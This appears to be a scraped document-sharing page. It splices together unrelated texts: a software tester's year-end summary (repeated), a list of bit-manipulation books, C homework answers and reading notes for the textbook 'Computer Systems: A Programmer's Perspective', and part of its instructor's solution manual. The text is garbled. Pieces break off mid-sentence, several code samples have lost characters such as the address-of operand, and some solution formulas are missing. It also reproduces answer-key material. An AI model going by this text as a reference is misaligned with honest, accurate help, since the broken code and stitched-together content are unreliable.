深入理解计算机系统勘误
- 格式:docx
- 大小:75.37 KB
- 文档页数:17
软件测试工程师年终工作总结时光荏苒,如今2022年的帷幕已经谢下,2022年的钟声已经敲响,在公司高层的正确领导下,我们__科技又走过了一年。
而我也在自己的努力以及同事的帮助下完成了2022年我所负责的工作,以下就是我对过去这一年的工作总结:一、测试工作及经验作为软件部测试组的一员,首先要做好的就是自己的本职工作,我在2022年中所做的工作主要有:测试用例的编写,对系统的测试、跟踪;需求、高保图、界面和功能的测试;功能测试用例的编写,高保图、系统的测试;__的静态页面测试和功能测试;__的功能测试;第一、二、三迭代高保图测试,测试用例编写,静态页面和功能测试,并主持参与测试用例评审;平台高保图的测试和系统静态页面、功能的测试;__的高保图测试和测试用例的编写;__的静态页面和功能测试,参与测试用例的评审;__的高保图测试、静态页面和功能测试;用户使用手册的编写。
一年的工作,让我获得很多方面的经验:1.编写逻辑覆盖率全的测试用例甚为重要。
在理解需求的前提下编写测试用例,使得我掌握了多种测试用例编写方法,更让我对产品的需求有更加深入的理解,须知对需求是否理解透彻决定了能否有效、全面地对产品进行测试。
2.要站在用户角度对系统进行测试。
从一些项目中出现的未能及时发现的bug中,我认识到用户体验的重要性,现在能够越来越多的从这方面来执行测试。
3.对拿到手的项目有较清晰的思路,能够更加快速、准确地发现问题。
4.越来越规范的工作流程的让我们的工作有条不紊的进行,让我深刻认识到工作的规范性是多么的重要,并且从中学习如何从文档和流程上规范工作。
5.同事间的沟通很重要。
现在不管遇到什么不确定或疑惑,都与开发人员、产品经理等及时沟通,大大提高了工作的效率。
二、加强自我能力的提高只有不断的提高自己各种的能力,才能胜任越来越艰巨的任务,因此在工作相对不饱和的时候,我自己进行了一些学习。
为提高对“用户体验”的理解,我学习了《下一站用户体验》,书中一些经验确实让我获益匪浅。
关于位操作的书-回复
以下是一些关于位操作的书籍:
1. 《深入理解计算机系统》(Computer Systems: A Programmer's Perspective)- 由Randal E. Bryant和David R. O'Hallaron撰写。
该书全面介绍了计算机系统的各个方面,包括位操作。
2. 《Hacker’s Delight》- 由Henry S. Warren Jr.撰写。
这本书专注于位操作的技巧和优化,涵盖了各种位操作的基本概念和高级技巧。
3. 《Bitwise Operations in C: Tips, Tricks, and Techniques》- 由Alan M. Perlis撰写。
这本书专门介绍了使用C语言进行位操作的技巧、窍门
和技术。
4. 《竞赛中的位运算》- 由范明、周源、成蕾等撰写。
这本书主要面向程序设计竞赛选手,通过大量的例题和实例详细讲解位操作在算法设计中的应用。
这些书籍均可帮助读者深入理解位操作的概念、技巧和应用场景。
根据个人的学习目标和背景,选择适合自己的一本作为入门指南或进阶参考材料。
《深⼊理解计算机系统》第三版第三章家庭作业答案简述相信⼤部分⼈在做这些题的时候,因为书中没有给答案,⽽去⽹上找参考答案,⽐如那些⾼阅读量的博客和git 。
当然,我也是这样,但他们的答案中还是有好多错误,⽐如3.59他们⼏乎都没讲清楚提⽰中的公式怎么来的,3.60中对移位操作中对%cl 的读取,等等。
希望读者们在阅读这些⽂章时,要带着⾃⼰的思想和疑问去理解,⽽不是⼀味地觉得答案就肯定是对的,当然,本⽂有任何错误,也欢迎各位指出。
3.58long decode2(long x,long y,long z){y = y - z;x = x * y;y <<= 63;y >>= 63;return y ^ x;}y 先左移63位,再右移63位,如果之前y 是奇数,那么y 的⼆进制全是1;y 是偶数,那么y 的⼆进制全是0.3.59⾸先讲解⼀下,提⽰⾥的公式x =264∗x h +x l x =264∗xh +xl ,之所以可以这么写是因为符号拓展,以4位⼆进制int 为例:1111的补码数,为-1.将其进⾏符号拓展后为1111 1111,其值也为-1,但这⾥可以将1111 1111写为⾼位1111的补码数 * 2424 + 低位1111的⽆符号数:即-1 * 2424 + 15 = -1.原理:%rdx 和%rax 的⼆进制连起来表⽰这个数,既然连起来了,符号位就跑到了%rdx 的最⾼位了,除符号位权值为负外,其余位的权值均为正。
所以,⾼位寄存器%rdx 当做补码数,低位寄存器%rax 当做⽆符号数。
因为符号位现在在⾼位寄存器那⼉呢,所以⾼位寄存器当做补码数了;⽽低位寄存器的每⼀位的权值现在都是正的了,所以低位寄存器要当做⽆符号数。
所以x l xl 为T 2U (x )T2U(x)即x 的⼆进制表⽰作为⽆符号数。
x l xl 与x x 有相同的位级表⽰。
x h xh ,当原数符号位为1,64位⼆进制位上全为1,其值为-1;当原数符号位为0时,64位⼆进制位上全为0,其值为0。
计算机错误处理与容错技术解析计算机是现代社会中不可或缺的工具,然而在计算机工作的过程中,由于硬件故障、软件错误或其他原因,会不可避免地出现错误。
因此,计算机错误处理与容错技术成为了计算机科学领域中的一个重要研究方向。
本文将详细解析计算机错误处理与容错技术,涵盖以下几个方面的内容:1. 错误类型与产生原因- 硬件错误:例如芯片故障、电路连接错误等。
- 软件错误:例如编程错误、逻辑错误等。
- 网络错误:例如数据传输中的丢包、延迟等。
2. 错误诊断与定位- 硬件错误诊断:通过硬件测试设备、故障排除等手段来检测和定位硬件错误。
- 软件错误诊断:通过调试工具、错误日志等手段来检测和定位软件错误。
- 网络错误诊断:通过网络分析工具、数据包分析等手段来检测和定位网络错误。
3. 容错技术- 硬件容错技术:例如冗余冗余阵列(RAID)、错误检测与纠正码(ECC)等。
- 软件容错技术:例如备份与恢复、事务处理等。
- 网络容错技术:例如冗余路由、链路聚合等。
4. 错误处理与修复- 硬件错误处理:例如更换故障硬件、替换故障部件等。
- 软件错误处理:例如修复软件漏洞、修改代码等。
- 网络错误处理:例如调整网络拓扑、增加网络带宽等。
5. 错误预测与预防- 硬件错误预测与预防:通过硬件监控、负载平衡等手段预测和预防硬件错误。
- 软件错误预测与预防:通过代码审查、测试用例设计等手段预测和预防软件错误。
- 网络错误预测与预防:通过流量分析、拓扑优化等手段预测和预防网络错误。
6. 错误处理与容错技术的应用领域- 数据中心:例如在大规模服务器集群中,故障容错成为了提升系统可靠性的重要手段。
- 嵌入式系统:例如在飞行控制系统、医疗设备等领域,容错技术能够保证系统的稳定运行。
- 云计算:例如在云平台中,通过容错技术可以提供高可用、高性能的服务。
总结:计算机错误处理与容错技术是保障计算机系统运行稳定性和可靠性的重要手段。
通过对不同类型的错误进行诊断、容错和预测,可以极大程度上降低错误对计算机系统的影响,提高系统的可用性和性能。
出版社:中国电力出版社原出版社:Pearson Education系列名:国外经典计算机科学教材系列作者:(美)Randal E. Bryant/ Davic O'Hallaron/译者:龚奕利/ 雷迎春/出版日期:2004年5月版别版次:2004年5月北京第一版第一次印刷国标编号:ISBN 7-5083-2175-8条形码:9787508321752字数:1209千字内容提要:本书英文版久负盛名,被众多专业人士称为“最伟大的计算机教材”之一,着名的美国卡内基梅隆大学计算机科学系一直将本书作为教材使用,程序员眼中的透彻讲述计算机系统的扛鼎之作。
作者Randal E. Bryant是卡耐基梅隆大学的计算机科学系主任,ACM和IEEE 双院士(Fellow),其研究成果多次获得ACM和IEEE颁发的大奖。
本书共分十三章,分别介绍了信息的表示和处理、程序的机器级表示、处理器体系结构、存储器层次结构、静态和动态链接、虚拟存储器、系统级I/O、网络编程和并发编程等精彩内容。
其目的是解释计算机系统的所有本质概念,并向读者展示这些概念是如何实际地影响应用程序的正确性、性能和实用性。
与其他主要针对系统构造人员的系统类书籍不同,这本书是写给程序员的,是从程序员的角度来描述的。
本书为软件和硬件之间搭起了一个桥梁,它给出了一种帮助读者分别从硬件和软件的角度去理解一个程序及其行为的途径,这也填补了国内计算机系统教学中的一个空白。
本书的最大优点是帮助读者理解概念,让读者很清楚地在脑海中构造一个层次型的计算机系统,从最低层数据在内存中的表示(如我们一直陌生的浮点数表示),到流水线指令的构成,到虚拟存储器,到编译系统,到动态加载库,到最后的用户应用。
本书提供了大量的例子和练习及部分答案。
尤其值得一提的是,对于每一个基本概念都有相应的笔头或程序试验,加深读者的理解。
作者介绍:Randal E. Bryant 1973年获得密歇根大学(University of Michigan)学士学位,随即就读麻省理工学院(Massachusetts Institute of Technology)的研究生院,并在1981年获计算机博士学位。
《深入理解计算机系统》读后感第一次听到这本书还是我们的导师袁志斌老师介绍的。
在这之前我是对它毫无概念可言。
袁老师对这本书可谓是推崇备至,因此就介绍给我们全班,并希望说让我们能够静下心好好的去看它、了解它。
于是我开始了阅读"深入"的征程。
之所以说是"征程"是因为这本说的内容确实是很难。
至少是对于我来说。
很多东西之前都没有接触过。
除了那点少的可怜的C语言底子之外就剩下数字电路的东西了。
其他的基本上是听都没听过。
毕竟这本书要求先修的课程有很多,神马《计算机组成原理》,《汇编程序设计》。
这些都没有学过。
但是,就算是这样,凭着被袁老师鼓起的热情,硬着头皮买了它,开始了啃"深入"的日子。
在这里先简单的介绍一下"深入"的基本章节内容。
第一章A Tour of Computer System对计算机系统总体的做了一个简单的介绍,第二章Representing and Manipulating Information主要说的是信息在计算机中的表示形式。
包括整数和浮点数的表示形式。
第三章Machine-Level Representation of Program汇编语言的复习。
过程调用,尤其是过程调用(包括递归调用)中堆栈的使用情况是经常会考到的。
数据在内存中的"对齐"方式,也是经常出现在考题中的。
比如定义一个结构体数组,打印出其中一个元素的地址,问这个地址相对数组起始地址有多少个字节的距离。
第四章Processor Architecture计算机体系结构的内容。
处理器结构,各种逻辑门、功能单元,指令集,指令的执行,指令执行的流水线等。
第五章Optimizing Program Performance如何优化程序的执行效率,包括代码的优化,编译器的优化,及CPU级别的优化。
CPU级别的优化,微指令的概念,功能单元上微指令的并行,程序分支的预测等。
深⼊理解计算机系统(第三版)第⼆章家庭作业答案博客⾥只有代码部分,位运算和浮点表⽰真妙!2.55#include <stdio.h>#include <string.h>typedef unsigned char* byte_pointer;void show_byte(byte_pointer x,int len){for(int i =0; i < len; i++)printf("%.2x ", x[i]);printf("\n");}void show_int(){int num =8;byte_pointer bp =(byte_pointer)#show_byte(bp,sizeof(int));}void show_double(){double num =3.1415926535;byte_pointer bp =(byte_pointer)#show_byte(bp,sizeof(double));}void show_short(){short num =8;byte_pointer bp =(byte_pointer)#show_byte(bp,sizeof(short));}int main(){show_int();show_double();show_short();return0;}2.58#include <iostream>using namespace std;typedef unsigned char* byte_point;int is_little_endian(){int32_t num =1;byte_point bp =(byte_point)# printf("%s\n", bp);cout <<*bp << endl;printf("%d\n", num);if(*bp)return1;elsereturn0;}int main(){printf("%d\n",is_little_endian());}2.59typedef unsigned char* byte_point;void show_byte(int x,int len){byte_point bp =(byte_point)&x;for(int i =0; i < len; i++)printf("%.2x ", bp[i]);printf("\n");}byte_point change(int x,int y){byte_point bx =byte_point(&x);byte_point by =byte_point(&y);byte_point bz =(byte_point)malloc(sizeof(int));for(int i =0; i <sizeof(int); i++){if(i ==0)*bz =*bx;else*(bz + i)=*(by + i);}return bz;}int main(){int x =0x89abcdef;int y =0x76543210;printf("%d %d\n", x, y);byte_point z =change(x, y);show_byte(x,sizeof(int));show_byte(y,sizeof(int));for(int i =0; i <sizeof(int); i++)printf("%.2x ", z[i]);// show_byte(z, sizeof(int));return0;}2.60#include <stdio.h>unsigned replace_byte(unsigned x,int i,unsigned char b){ int move = i <<3;return(x &~(0xFF<< move)| b << move);}int main(){int x =0x12345678;printf("0x%.8X\n",replace_byte(x,2,0xAB));printf("0x%.8X\n",replace_byte(x,0,0xAB));return0;}2.61int main(){int move =(sizeof(int)-1)<<3;//全为1输出1,否则输出0int x =0x0;int y =0xffffffff;printf("%d %d\n",!(x ^~0x0),!(y ^~0x0));printf("%d %d\n",!(~x),!(~y));//全为0输出1printf("%d %d\n",!(x ^0),!(y ^0));printf("%d %d\n",!x,!y);//最低有效字节全为1输出1printf("%d %d\n",!(~(x &0xff)<< move),!(~(y &0xff)<< move)); //最⾼有效字节全为0输出1printf("%d %d\n",!(x >> move),!(y >> move));printf("%d\n", y >> move);return0;}2.62#include <stdio.h>bool int_shifts_are_arithmetic(){int x =0x80000000;return(x >>30)&8;}int main(){printf("%d",int_shifts_are_arithmetic());return0;}2.63signed srl(unsigned x,int k){unsigned xsra =(int)x >> k;int obj =~(((1<< k)-1)<<((sizeof(int)<<3)- k)); return xsra & obj;}signed sra(int x,int k){int xsrl =(unsigned) x >> k;int sum =sizeof(int)<<3;int judge =1<<(sum -1- k);judge &= xsrl;int obj =~(judge -1);return xsrl | obj;}int main(){printf("%.8x\n",srl(0x81001100,4));printf("%.8x\n",sra(0x81001100,4));return0;}2.64#include <stdio.h>int any_odd_one(unsigned x){unsigned obj =0x55555555;return!!(x & obj);}int main(){unsigned x =0x00000001;printf("%d\n",any_odd_one(x));return0;}2.65#include <iostream>int odd_ones(unsigned x){int w =sizeof(int)<<3;x ^= x >>16;x ^= x >>8;x ^= x >>4;x ^= x >>2;x ^= x >>1;return x &1;}int main(){int a =0xffff0000;int b =0x00000103;printf("%d %d",odd_ones(a),odd_ones(b)); return0;}2.66int leftmost_one(int x){int w =sizeof(int)<<3;x |= x >>1;x |= x >>2;x |= x >>4;x |= x >>8;x |= x >>16;return x &((~x)>>1|0x80000000);}int main(){int a =0xff000000;int b =0x00000040;printf("%.8x %.8x\n",leftmost_one(a),leftmost_one(b)); return0;}2.67#include <stdio.h>int bad_int_size_is_32(){int set_msb =1<<31;int beyond_msb = set_msb <<1;return set_msb &&!beyond_msb;}int bad_int_size_is_32_in16(){int set_msb =1<<15;set_msb <<=15;set_msb <<=1;int beyond_msb = set_msb <<1;return set_msb &&!beyond_msb;}int main(){printf("%d\n",bad_int_size_is_32());printf("%d\n",bad_int_size_is_32_in16());return0;}2.68#include <stdio.h>int lower_one_mask(int x){int w =sizeof(int)<<3;return(unsigned)-1>>(w - x);}int main(){int a =6;int b =17;printf("%.8x\n",lower_one_mask(a));printf("%.8x\n",lower_one_mask(b));return0;}2.69unsigned rotate_left(unsigned x,int n){ int w =sizeof(int)<<3;unsigned ans = x;ans <<= n;ans |= x >>(w - n);return ans;}int main(){int a =0x12345678;int x1 =0;int x2 =20;printf("0x%.8x\n",rotate_left(a, x1)); printf("0x%.8x\n",rotate_left(a, x2)); return0;}2.70#include <stdio.h>#include <limits.h>int fits_bits(int x,int n){int w =sizeof(int)<<3;int obj = x <<(w - n)>>(w - n); return obj == x;}int main(){int x =0x00000011;int n =1;printf("%d\n",fits_bits(x, n));printf("%d\n",fits_bits(INT_MAX,32)); printf("%d\n",fits_bits(0,0));return0;}2.71#include <stdio.h>typedef unsigned packed_t;int xbyte(packed_t word,int bytenum){ int w = bytenum +1<<3;return(int)word <<(32- w)>>(3<<3); }int main(){int word =0xf1f2f380;printf("%.8x\n",xbyte(word,0));printf("%.8x\n",xbyte(word,1));printf("%.8x\n",xbyte(word,2));printf("%.8x\n",xbyte(word,3)); return0;}2.72void copy_int(int val;void*buf,int maxbytes){if(maxbytes <0)return;if(maxbytes >=sizeof(val))memcpy(buf,(void*)&val,sizeof(val));}2.73#include <stdio.h>#include <limits.h>int saturating_add(int x,int y){int w =sizeof(int)<<3;int is_diff_sign =(x ^ y)>>(w -1);int is_overflow =((x + y)^ x)>>(w -1);int judge = x >>(w -1);// printf("%d %d %d\n", is_diff_sign, is_overflow, judge);// printf("%d\n", is_diff_sign & (x + y));int a =(is_diff_sign &(x + y));int b =((~is_diff_sign &((~is_overflow &(x + y))+(is_overflow &(judge & INT_MIN +~judge & INT_MAX)))));int c=((is_diff_sign &(x + y))+(~is_diff_sign &((~is_overflow &(x + y))+(is_overflow &((judge & INT_MIN)+(~judge & INT_MAX)))))); //printf("%d %d %d\n", a, b, c);return c;}int main(){printf("%d\n",saturating_add(1,100));printf("%d\n",saturating_add(1000,-10));printf("%d\n",saturating_add(INT_MAX,12321));printf("%d\n",saturating_add(INT_MIN,-1));return0;}2.74#include <stdio.h>#include <limits.h>int tsub_ok(int x,int y){y =-y;int w =sizeof(int)<<3;int same =(x ^ y)>>(w -1);int overflow =((x + y)^ x)>>(w -1);return same ||!overflow;}int main(){printf("%d\n",tsub_ok(INT_MIN,1));printf("%d\n",tsub_ok(-1,100));printf("%d\n",tsub_ok(-23,INT_MAX));return0;}2.75#include <inttypes.h>int signed_high_prod(int x,int y){int64_t high_prod =(int64_t)x * y;return high_prod >>32;}unsigned unsigned_high_prod(unsigned x,unsigned y){int w =sizeof(int)<<3;int bit_x = x >>(w -1);int bit_y = y >>(w -1);int sig_high =signed_high_prod(x, y);return sig_high + x * bit_y + y * bit_x;}unsigned unsigned_high_prod_two(unsigned x,unsigned y){ uint64_t high_prod =(uint64_t)x * y;return high_prod >>32;}int main(){unsigned x =0xffffffff;unsigned y =0x12345678;printf("%.8x\n",unsigned_high_prod(x, y));printf("%.8x\n",unsigned_high_prod_two(x, y));return0;}2.76#include <stdio.h>#include <stdlib.h>#include <string.h>#include <assert.h>void*calloc(size_t nmemb, size_t size){if(!nmemb ||!size)return NULL;// return (int*)malloc(sizeof(int) * size);size_t size_sum = nmemb * size;if(nmemb == size_sum / size){void*ptr =malloc(size_sum);memset(ptr,0, size_sum);return ptr;}elsereturn NULL;}int main(){void*p =calloc(123,1);if(p ==NULL){printf("P = NULL\n");}elsefree(p);return0;}2.77int mul1(int x){return(x <<4)+ x;}int mul2(int x){return x -(x <<3);}int mul3(int x){return(x <<6)-(x <<2);}int mul4(int x){return(x <<4)-(x <<7);}int main(){int x =10;printf("%d\n",mul1(x));//*17printf("%d\n",mul2(x));//*-7printf("%d\n",mul3(x));//*60printf("%d\n",mul4(x));//*-112return0;}2.78#include <stdio.h>#include <limits.h>int divide_power2(int x,int k){int w =sizeof(int)<<3;int sign = x >>(w -1);int bias =(1<< k)-1;return(~sign &(x >> k))+(sign &(x + bias)>> k); }int main(){printf("%d\n",divide_power2(51,1));printf("%d\n",divide_power2(-51,1));return0;}2.79#include <stdio.h>#include <limits.h>int mul3div4(int x){int w =sizeof(int)<<3;x =(x <<1)+ x;int sign = x >>(w -1);int bias =(1<<2)-1;return(~sign &(x >>2))+(sign &((x + bias)>>2)); }int main(){printf("%d\n",mul3div4(3));printf("%d\n",mul3div4(4));return0;}2.80#include <stdio.h>#include <limits.h>int threefourths(int x){int w =sizeof(int)<<3;int sign = x >>(w -1);int bias =(1<<2)-1;x =(~sign &(x >>2))+(sign &(x + bias)>>2);return(x <<1)+ x;}int main(){printf("%d\n",threefourths(4));printf("%d\n",threefourths(5));printf("%d\n",threefourths(-5));return0;}2.81#include <stdio.h>int A(int k){return(-1)<< k;}int B(int k,int j){return~A(k)<< j;}int main(){printf("%.8x\n",A(4));printf("%.8x\n",B(8,4));return0;}2.82#include <stdio.h>#include <stdlib.h>/*A错。
《深⼊理解计算机系统》阅读总结与摘要前⾔《深⼊理解计算机系统》值得每位程序员⼀读,看完之后将会对整个计算机体系有⼀个直观的认识。
第⼀章计算机系统漫游只有ascii字符构成的⽂件称为⽂本⽂件,所有其它⽂件都称为⼆进制⽂件。
c语⾔是古怪的,有缺陷的,但同时也是⼀个巨⼤的成功,为什么会成功呢c语⾔与unix操作系统关系密切c语⾔⼩⽽简单c语⾔是为实践⽬的设计的有⼀些重要的原因促使程序员必须知道编译系统是如何⼯作的优化程序性能理解链接时出现的错误避免安全漏洞shell是⼀个命令⾏解释器,它提出⼀个提⽰符,等待输⼊⼀个命令⾏,然后执⾏这个命令。
如果该命令⾏的第⼀个单词不是⼀个内置的shell命令,那么shell就会假设这是⼀个可执⾏⽂件的名字,它将加载并运⾏这个⽂件。
贯穿整个系统的是⼀组电⼦管道,称作总线。
io设备是系统与外部世界的联系通道。
主存是⼀个临时存储设备,在处理器执⾏程序时,⽤来存放程序和程序处理的数据。
处理器,是解释或执⾏存储在主存中指令的引擎。
利⽤直接存储器存取,数据可以不通过处理器⽽直接从磁盘到达主存。
通过让⾼速缓存⾥存放可能经常访问的数据,⼤部分的内存操作都能在快速地⾼速缓存中完成每个计算机系统中的存储设备都被组织成了⼀个存储器层次结构。
操作系统有两个基本功能防⽌硬件被失控的应⽤程序滥⽤,向应⽤程序提供简单⼀致的机制来控制复杂⽽⼜通常⼤不相同的低级硬件设备。
操作系统通过基本的抽象概念(进程,虚拟内存和⽂件)来实现这两个功能。
⽂件是对i/o设备的抽象表⽰,虚拟内存是对主存和磁盘i/o设备的抽象表⽰,进程则是对处理器,主存和i/o设备的抽象表⽰。
进程是对操作系统对⼀个正在运⾏的程序的⼀种抽象。
进程并发运⾏,则是说⼀个进程的指令和另⼀个进程的指令是交错执⾏的。
操作系统实现这种交错执⾏的机制称为上下⽂切换。
操作系统保持跟踪进程运⾏所需的所有状态信息。
这种状态,也就是上下⽂。
当操作系统决定要把控制权从当前进程转移到某个新进程时,就会进⾏上下⽂切换,即保存当前进程的上下⽂,恢复新进程的上下⽂,然后将控制权传递到新进程。
软件测试工程师年终工作总结时光荏苒,如今____的帷幕已经谢下,____的钟声已经敲响,在公司高层的正确领导下,我们____科技又走过了一年。
而我也在自己的努力以及同事的帮助下完成了____我所负责的工作,以下就是我对过去这一年的工作总结:一、测试工作及经验作为软件部测试组的一员,首先要做好的就是自己的本职工作,我在____中所做的工作主要有:测试用例的编写,对系统的测试、跟踪;需求、高保图、界面和功能的测试;功能测试用例的编写,高保图、系统的测试;____的静态页面测试和功能测试;____的功能测试;第一、二、三迭代高保图测试,测试用例编写,静态页面和功能测试,并主持参与测试用例评审;平台高保图的测试和系统静态页面、功能的测试;____的高保图测试和测试用例的编写;____的静态页面和功能测试,参与测试用例的评审;____的高保图测试、静态页面和功能测试;用户使用手册的编写。
一年的工作,让我获得很多方面的经验:1.编写逻辑覆盖率全的测试用例甚为重要。
在理解需求的前提下编写测试用例,使得我掌握了多种测试用例编写方法,更让我对产品的需求有更加深入的理解,须知对需求是否理解透彻决定了能否有效、全面地对产品进行测试。
2.要站在用户角度对系统进行测试。
从一些项目中出现的未能及时发现的bug中,我认识到用户体验的重要性,现在能够越来越多的从这方面来执行测试。
3.对拿到手的项目有较清晰的思路,能够更加快速、准确地发现问题。
4.越来越规范的工作流程的让我们的工作有条不紊的进行,让我深刻认识到工作的规范性是多么的重要,并且从中学习如何从文档和流程上规范工作。
5.同事间的沟通很重要。
现在不管遇到什么不确定或疑惑,都与开发人员、产品经理等及时沟通,大大提高了工作的效率。
二、加强自我能力的提高只有不断的提高自己各种的能力,才能胜任越来越艰巨的任务,因此在工作相对不饱和的时候,我自己进行了一些学习。
为提高对“用户体验”的理解,我学习了《下一站用户体验》,书中一些经验确实让我获益匪浅。
《深入理解计算机系统》读后感这一本书可谓是远负盛名,在看这本书之前,我就已经见过无数个关于这本书的赞誉,这加深了我对它的兴趣。
于是我从第一章开始看这本书。
第一章从世界上绝大多数人开始学习编程的第一个程序hellokitty开始,介绍了hellokitty.c是以字节序列的方式存储在文件中的,像它这样只由ASCII码构成的叫文本文件,其他的称为二进制文件。
而同一串数据,它可能表示的是一个整数,一个浮点数,字符串又或者是机器指令,这个是由读到它的时候的上下文决定的。
接着,介绍的是由源文件转化成目标文件的过程。
hellokitty.c经过预处理器的处理,把#开头的命令都修改一遍,比如#define,这个时候就会用define的内容替换原文,又或者是#include,相应的头文件就会直接插入程序文本中。
预处理后就开始编译了,编译完就可以得到一个汇编程序。
汇编器将汇编程序翻译成机器语言指令,并打包成一个叫可重定位目标程序的格式,将结果保存在一个新的二进制文件中,然后将该文件与该文件调用的printf函数所对应的已预编译的目标文件进行合并,而链接器就是处理这种合并的。
最后得到一个可执行的目标文件,可以被加载到内存中,由系统执行。
接下来它告诉我们的是,了解编译系统如何工作是很有益处的,比如优化程序性能,理解链接时出现的错误,避免安全漏洞。
1,switch是否总是比一系列的ifelse更高效?2,While循环是否比for循环更有效?3,指针引用是否比数组索引更有效?4,为什么将循环变量的结果放到一个本地变量中会比将其放在一个通过引用传递过来的参数运行起来会快很多?对于问题1,switch在一些情况下采用的是一种跳转表的高效的数据结构,不管有多少个标号,它进行跳转的时间都是一样的,所以采用跳转表时运行速度在渐进上会比一系列的ifelse快太多太多了。
但对于标号的值跨度非常大,且比较稀疏,数量比较少的时候,我们就应该好好考虑要不要用跳转表了。
Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not define the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least significant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most significant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we define y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Thefinal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/floatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughfloating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEfloating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insignificant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such 